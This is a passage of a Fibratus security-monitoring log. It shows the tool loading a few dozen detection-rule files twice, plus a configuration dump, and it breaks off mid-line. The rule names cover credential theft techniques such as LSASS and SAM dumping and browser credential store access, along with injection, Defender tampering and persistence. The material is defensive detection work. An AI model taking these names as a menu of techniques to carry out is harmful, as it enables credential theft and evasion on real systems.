C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:36:37+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-20T17:36:37+01:00 level=info msg=bootstrapping with pid 1268. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T17:36:37+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ content-type=>text/html enabled=>false to=>[] use-template=>true port=>25] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ enable-registry=>true buffer-size=>512 enable-net=>true enable-audit-api=>true enable-threadpool=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] min-buffers=>16 enable-fileio=>true enable-mem=>false max-buffers=>36 enable-image=>true flush-interval=>1s enable-vamap=>true enable-thread=>true stack-enrichment=>true enable-dns=>false enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-size=>100 level=>info max-backups=>15 max-age=>0 formatter=>text] + output ......................... [ amqp=>[ exchange-type=>topic durable=>false vhost=>/ tls-insecure-skip-verify=>false routing-key=>fibratus timeout=>5s url=>amqp://localhost:5672 enabled=>false delivery-mode=>transient passive=>false exchange=>fibratus] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] http=>[ serializer=>json timeout=>5s method=>POST enabled=>false enable-gzip=>false endpoints=>[] tls-insecure-skip-verify=>false] elasticsearch=>[ servers=>[http://127.0.0.1:9200] flush-period=>1s index-name=>fibratus enabled=>false trace-log=>false timeout=>5s healthcheck-timeout=>5s healthcheck-interval=>10s sniff=>false gzip-compression=>false template-name=>fibratus bulk-workers=>1 healthcheck=>true]] + pe ............................. [ read-sections=>false read-symbols=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-mmaps=>false excluded-procs=>[] excluded-files=>[] enabled=>false scan-timeout=>10s skip-files=>false skip-registry=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-20T17:36:37+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T17:36:40+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T20:06:39+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-20T20:06:39+01:00 level=info msg=loading rule from 